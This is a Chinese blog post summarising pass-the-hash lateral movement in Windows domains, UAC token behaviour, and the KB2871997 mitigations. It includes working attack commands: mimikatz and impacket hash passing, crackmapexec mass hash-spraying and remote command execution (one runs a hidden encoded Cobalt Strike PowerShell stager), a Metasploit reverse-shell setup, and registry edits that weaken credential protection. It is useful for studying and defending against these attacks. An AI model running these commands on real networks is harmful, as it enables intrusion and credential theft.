PTH原理 补丁+工具

顺着《域渗透攻防指南》4.9的总结记录下。

0x00 PTH简单说明

PTH在内网渗透中用于横向移动。由于NTLM && Kerberos都是采用用户密码的NTLM Hash,所以我们不需要非得拿用户明文口令,拿到hash一样可以。

拿到hash后,可以撞hash,找到相同口令的机子,也可以利用135或445端口pth,横向移动到对应密码的其它主机上。

而且>=windows server 2012的机子,默认都不会在内存中存储明文密码,所以pth就显得尤为重要。

0x01 本地账户和域账户 pth 的区别

这个问题最早是在看这篇文章看到的:PTH/横向的时候UAC的问题及解决 - zpchcbd - 博客园 (cnblogs.com)

刚好书上讲的也比较详细,对应都有实验截图,大致总结下。


1. 实验:

用了四个账户:

  • public_user:本地普通用户
  • test:本地管理员用户
  • administrator:本地管理员组用户
  • intranet\user:本地管理员组的域用户

实验发现:

本地普通用户和本地管理员组用户test的PTH失败;

本地管理员组和本地管理员组的域用户PTH成功。

2. 原因:UAC

这里不详细展开UAC的介绍。只需要知道:

  1. 内置本地管理员账户administrator在远程连接时,会获得完整的管理员凭证。
  2. 而本地管理员组的非RID500账户,得到的是删除了管理员凭证的token。
  3. UAC对本地管理员组的域用户无影响,会获得完整的管理员凭证。

3.FilterAdministratorToken

MS官方文档的注册表值介绍:在这里插入图片描述

关于Admin Approval Mode:管理员审批模式。

开启:即需要管理员特权运行的程序,需要得到用户的批准才能够获得提升权限。

关闭:内置账户Adminstrator拥有完全的权限管理所有的应用程序。

回到这个Filter,默认情况下是关闭的(值为0)。也就是说用内置管理员用户远程连接时不需要用户批准,就能够获得一个完全的令牌。

如果我们把值改为1,那么内置的本地管理员Administrator也无法PTH了,但是本地管理员组的域用户不受影响。

4. LocalAccountTokenFilterPolicy

上面提的是对于内置管理员的策略,现在看非RID500的本地管理员账户的策略。

MS给了 To disable UAC remote restrictions的方法:

LocalAccountTokenFilterPolicy注册表的值改为1即可。

reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f

修改后,只要在本地管理员组内,就能PTH远程连接了。

5. 总结

本地账户

  • Win VISTA以前,本地管理员组内即可。
  • 以后,默认只有内置管理员administrator才能PTH。

域用户

不受UAC影响。

  • 对于普通域内主机:该域主机本地管理员组内普通域用户即可;
  • 对于域控:域管理员组的用户。

0x02 哈希碰撞(工具)

内网中很多主机采用的相同密码,所以批量撞hash能扩大攻击面。

记录一些工具&&使用。

1. crackmapexec

kali自带。

批量撞网段:

crackmapexec 192.168.72.0/24 -u administrator -H LM_HASH:NTLM_HASH

2. MSF

use exploit/windows/smb/psexec
set payload windows/meterpreter/reverse_tcp
set rhosts 192.168.72.0/24
set smuser administrator
set smbpass LM_HASH:NTLM_HASH

ps:貌似实战应该用正向监听的payload。

0x03 PTH工具

书上只写了3个,我就把以前总结的搬上来了。

1. mimikatz

域:

mimikatz.exe "privilege::debug" "sekurlsa::pth /user:administrator /domain:intranet.com /ntlm:ntlm哈希" "exit"
dir \\dc.intranet.com\c$

workgroup:

mimikatz.exe "privilege::debug" "sekurlsa::pth /user:administrator /domain:目标机器IP /ntlm:ntlm哈希" "exit"

注意,pth时可以直接在mimikatz中起命令(/run:cmd.exe)。比如pth后用mstsc rdp

privilege::debug
sekurlsa::pth /user:administrator /domain:intranet.com /ntlm:ab89b1295e69d353dd7614c7a3a80cec "/run:mstsc.exe /restrictedadmin"

2. psexec

impacket的psexec.py:

python psexec.py  administrator@10.73.147.29 -hashes 624aac413795cdc1a5c7b1e00f780017:852a844adfce18f66009b4f14e0a98de

PsExec.exe

看的说是impacket包里面的,不知道PSTools里面的行不行。

psexec.exe admin@10.73.147.30 -hashes 624aac413795cdc1a5c7b1e00f780017:852a844adfce18f66009b4f14e0a98de

3. wmiexec

也是impacket里的wmiexec.py

python wmiexec.py -hashes 624aac413795cdc1a5c7b1e00f780017:852a844adfce18f66009b4f14e0a98de administrator@10.73.147.29

4. crackmapexec (✨)

很强大的一个pth工具,kali自带。

当然,一般用的话都得proxychains代到内网。

crackmapexec smb 172.22.1.2 -u Administrator -H 10cf89a850fb1cdbe6bb432b859164c8 -d xiaorang.lab -x "type Users\Administrator\flag\flag03.txt"

批量扫smb

crackmapexec smb 192.168.0.0/24 -t 255

可以批量pth。

crackmapexec smb 10.73.147.90 10.73.147.88 -u administrator -H 852a844adfce18f66009b4f14e0a98de  -x "whoami"

批量CS上线

把cs中的ps payload粘过来

crackmapexec smb 10.211.55.51  10.211.55.52 -u administrator  -H 852a844adfce18f66009b4f14e0a98de -x "powershell -nop -w hidden -encodedcommand JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0..."

5. CobalStrike

这就太方便了。。。

拿到一个主机hash后,可以用wmic/psexec横向。

View Target添加目标:

在这里插入图片描述

选择 横向移动=>psexec

选择当前控制的机器为session,listener选择smb正向连接,凭证用前面拿到的。

在这里插入图片描述

Lauch即可成功上线。

6. MSF

exploit/windows/smb/psexec

use exploit/windows/smb/psexec
set payload windows/meterpreter/reverse_tcp
set rhosts 192.168.72.138
set smbuser admin
set smbpass LM_HASH:NTLM_HASH

0x04 KB2871997补丁带来的影响

总结记录下。


这个补丁是MS为了缓解PTH的措施。

带来了三个新的安全保护机制:

  1. Protected Users组的支持
  2. Restricted Admin RDP模式远程客户端支持
  3. Pass The Hash增强保护。

1. Protected Users组的支持

win2012 server R2开始,引入了一个全局安全组——Protect Users。

对于这个全局安全组内的用户有额外的保护:

  1. 组内用户只能使用Kerberos协议认证。
  2. Kerberos协议只能AES加密类型进行pre-auth认证(加密时间戳)。一定程度缓解了AS_REPRoasting。
  3. 组内用户不能被委派

带来的影响就是,无法PTH了,因为Kerberos协议无法PTH(强制预认证采用AES)。

2. Restricted Admin RDP模式远程客户端支持

Restricted Admin RDP模式

Restricted Admin RDP模式增加了安全性以保护用户的凭据,但是此模式对Remote Desktop Users组内的用户不可用。(:?)

Restricted Admin RDP模式之前,RDP是必须要提供明文口令的。以这种方式登录到目标主机会将用户的凭据存储在目标主机的内存中,存在被盗的风险。

Restricted Admin RDP模式后,可以使用密码Hash来RDP登录,防止了明文口令存储在目标主机中。
要求必须是本地管理员用户

这种看似加强了安全防护(方式了明文口令被盗),但是无疑给了PTH的隐患。。。

本地管理员组内的非RID500用户也可以pth rdp登录。

How to pth rdp?

最常用的就是mimikatz,最早也是在mimikatz中接触到的 restrictedadmin

命令:

privilege::debug
sekurlsa::pth /user:win7 /domain:对应机子的IP /ntlm:NTLM_HASH "/run:mstsc.exe /restrictedadmin"

实验发现只要是本地管理员组的用户均可pth rdp登录,而普通本地用户则没有权限。

3. Pass The Hash增强保护

三个增强保护:

  1. 注销时清除凭据。

  2. 在LSASS内存中删除明文凭据。

    srds,可以修改UseLogonCredential注册表项来绕过补丁:

    reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
    

    这样,即使安了补丁,修改注册表项后还是能抓到明文密码。

  3. 引入新的SID。

    两个:

    • LOCAL_ACCOUNT (S-1-5-113):所有本地账户继承此SID。
    • LOCAL_ACCOUNT_AND_MEMBER_OF_ADMINISTRATORS_GROUP(S-1-5-114):所有管理员组内的本地账户继承此SID。

    我的理解:引入这两个SID后,配置组策略时更加方便。比如防止本地账户远程连接主机,或者防止本地管理员组的非RID500账户pth远程连接,就可以用这两个SID来配置组策略。

4. KB2871997补丁总结

只能是缓解PTH。

对于本地工作组:

RID500不受影响,修改LocalAccountTokenFilterPolicy为1后,非RID的本地管理员组内成员也可以pth。

对于域环境:

ProtectedUsers全局安全组确实能够防范,但是需要管理员添加。对于非ProtecedUsers组的成员仍可以pth。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.xdnf.cn/news/1548788.html

如若内容造成侵权/违法违规/事实不符,请联系一条长河网进行投诉反馈,一经查实,立即删除!

相关文章

C++不同的头文件中各种函数的操作使用(长期更新,找到新的就补充进来)

一、万能头文件 #include <bits/stdc.h> 万能头文件中包含的内容 // C #ifndef _GLIBCXX_NO_ASSERT #include <cassert> #endif #include <cctype> #include <cerrno> #include <cfloat> #include <ciso646> #include <climits> #in…

leetcode每日一题day17(24.9.27)——每种字符最少取k个

思路&#xff1a;看到题目就想到了搜索&#xff0c; 广搜&#xff1a;满足要求就往后搜&#xff0c;最后返回搜索队列达到过的最大深度&#xff0c; 深搜&#xff1a;一直往一边取&#xff0c;搜索完所有可能&#xff0c;并在此基础上进行剪枝&#xff0c;剪枝方案有如果某一分…

Windows环境部署Oracle 11g

Windows环境部署Oracle 11g 1.安装包下载2. 解压安装包3. 数据库安装3.1 执行安装脚本3.2 电子邮件设置3.3 配置安装选项3.4 配置系统类3.5 选择数据库安装类型3.6 选择安装类型3.7 数据库配置3.8 确认安装信息3.9 设置口令 Oracle常用命令 2023年10月中旬就弄出大致的文章&…

如何在Unity WebGL上实现一套全流程简易的TextureStreaming方案

项目介绍 《云境》是一款使用Unity引擎开发的WebGL产品&#xff0c;有展厅&#xff0c;剧本&#xff0c;Avatar换装&#xff0c;画展&#xff0c;语音聊天等功能&#xff0c;运行在微信小程序和PC&#xff0c;移动端网页&#xff0c;即开即用。 当前问题和现状 当前项目…

【质优价廉】GAP9 AI算力处理器赋能智能可听耳机,超低功耗畅享未来音频体验!

当今世界&#xff0c;智能可听设备已经成为了流行趋势。随后耳机市场的不断成长起来&#xff0c;消费者又对AI-ANC&#xff0c;AI-ENC&#xff08;环境噪音消除&#xff09;降噪的需求逐年增加&#xff0c;但是&#xff0c;用户对于产品体验的需求也从简单的需求&#xff0c;升…

mbedtls错误记录

0x2180 证书格式无效&#xff0c;可以检查证书的格式是否正确&#xff0c;或传入的证书长度是否正确 mbedtls_x509_crt_parse-》mbedtls_x509_crt_parse_der-》x509_crt_parse_der_core-》mbedtls_x509_get_sig_alg-》return( MBEDTLS_ERR_X509_UNKNOWN_SIG_ALG ret ); 所以26…

LampSecurityCTF7 靶机渗透 (sql 注入, 文件上传, 密码喷射)

靶机介绍 LampSecurityCTF7&#xff0c;vulnhub 靶机 主机发现 由于靶机配置问题&#xff0c;扫不到 ip 这里需要特别注意一下&#xff0c;在第一次启动打开靶机的时候&#xff0c;vmware会跳出一个提示框&#xff0c;让你选择我已复制该虚拟机/我已移动该虚拟机&#xff0c…

GIS专业在课余应该学计算机还是遥感?

有网友提问&#xff1a; 绝大数人给出了&#xff0c;强有力的建议&#xff0c;就是冲计算机 1、从学习条件上看本科阶段&#xff0c;学计算机编程&#xff0c;你只需要有台电脑&#xff0c;装一些编程软件&#xff0c;上git上找一些代码&#xff0c;b站找一些教程就可以大学特…

Verilog基础:时序调度中的竞争(四)(描述时序逻辑时使用非阻塞赋值)

相关阅读 Verilog基础https://blog.csdn.net/weixin_45791458/category_12263729.html?spm1001.2014.3001.5482 作为一个硬件描述语言&#xff0c;Verilog HDL常常需要使用语句描述并行执行的电路&#xff0c;但其实在仿真器的底层&#xff0c;这些并行执行的语句是有先后顺序…

AI产品经理面试题详细整理【已拿offer】

面试题整理 以下是我面试过的AI产品经理岗位的精选面试题&#xff0c;供各位同仁参考&#xff1a; &#x1f4bc; 公司概览&#xff1a; 字节跳动、百度、昆仑天工、minimax、彩云、蕞右、粉笔、作业帮、火花、好未来等知名企业。 &#x1f4cd; 方向分类&#xff1a; 模型…

【移植】小型系统平台驱动移植

往期知识点记录&#xff1a; 鸿蒙&#xff08;HarmonyOS&#xff09;应用层开发&#xff08;北向&#xff09;知识点汇总 鸿蒙&#xff08;OpenHarmony&#xff09;南向开发保姆级知识点汇总~ 持续更新中…… 平台驱动移植 在这一步&#xff0c;我们会在源码目录 //device/ve…

【Python】Flask-Admin:构建强大、灵活的后台管理界面

在 Web 应用开发中&#xff0c;构建一个直观且功能丰富的后台管理系统对于处理数据和维护应用至关重要。虽然构建一个完全自定义的管理后台界面非常耗时&#xff0c;但 Flask-Admin 提供了一个简洁、灵活的解决方案&#xff0c;可以让开发者快速集成一个功能齐全的后台管理系统…

防盗智能电子锁的使用

一、防盗智能电子锁的介绍 以宏泰HONGTAI的DJ08产品为例。 功能&#xff1a; 自动补锁、开锁并智能纠正人为错误操作行为&#xff1b;开启方式有门禁电控、钥匙、旋钮等&#xff1b;开门方向&#xff0c;左右、内外通用&#xff1b;带信号反馈&#xff0c;开锁声光提示&#…

数据结构:树的定义及其性质

树的定义 树是一种重要的非线性数据结构&#xff0c;树作为一种逻辑结构&#xff0c;同时也是一种分层结构。具有以下两个特点&#xff1a; 1.树的根结点没有前驱&#xff0c;除根结点意外的节点只有一个前驱 2.树中所有结点都可以有0个或多个后继 树结构在多个领域都有广泛…

【Python】字典 文件操作 生成二维码 多媒体操作

目录 字典 创建字典 查找key 新增键值对 修改键值对 删除键值对 遍历键值对 keys() values() items() 合法的key类型 文件 文件是什么 打开文件 关闭文件 写文件 读文件 *上下文管理器 实现文件查找工具 pip包管理器 生成二维码 安装第三方库 生成二维…

MySql在更新操作时引入“两阶段提交”的必要性

日志模块有两个redo log和binlog&#xff0c;redo log 是引擎层的日志&#xff08;负责存储相关的事&#xff09;&#xff0c;binlog是在Server层&#xff0c;主要做MySQL共嗯那个层面的事情。redo log就像一个缓冲区&#xff0c;可以让当更新操作的时候先放redo log中&#xf…

2024.9.24 作业

My_string类中的所有能重载的运算符全部进行重载、[] 、>、、>) 仿照stack类实现my_stack,实现一个栈的操作 #include <iostream> #include <cstring>using namespace std;class My_string{ private:char *ptr;int size;int len;public://无参构造My_strin…

Miniforge详细安装教程(macOs和Windows)

(注&#xff1a;主要是解决商业应用anaconda收费问题&#xff0c;这是轻量级的代替&#xff0c;个人完全可以使用anaconda和miniconda) Miniforge 是一个轻量级的包管理器&#xff0c;类似于 Anaconda 和 Miniconda。它主要用于安装基于 conda 的 Python 环境&#xff0c;专注于…

IPEmotion 2024 R2现支持Amazon S3和Windows SMB服务器

新版IPEmotion 2024 R2软件推出了许多新功能&#xff0c;其中的一大功能是支持Amazon S3、Windows SMB服务器以及新的IPE-CAM-007 USB摄像头。IPEmotion 2024 R2还支持直接写入TEDS数据和配置可装载电池的新款IPE833记录仪。 — 创新成果一览 — ■ 支持Amazon S3、Windows SM…

IDEA 系列产品 下载

准备工作 下载 下载链接&#xff1a;https://www.123865.com/ps/EF7OTd-mbHnH 仅供参考 环境 演示环境&#xff1a; 操作系统&#xff1a;windows10 产品&#xff1a;IntelliJ IDEA 版本&#xff1a;2024.1.2 注意&#xff1a;如果需要其他产品或者版本可以自行下载&#xff0…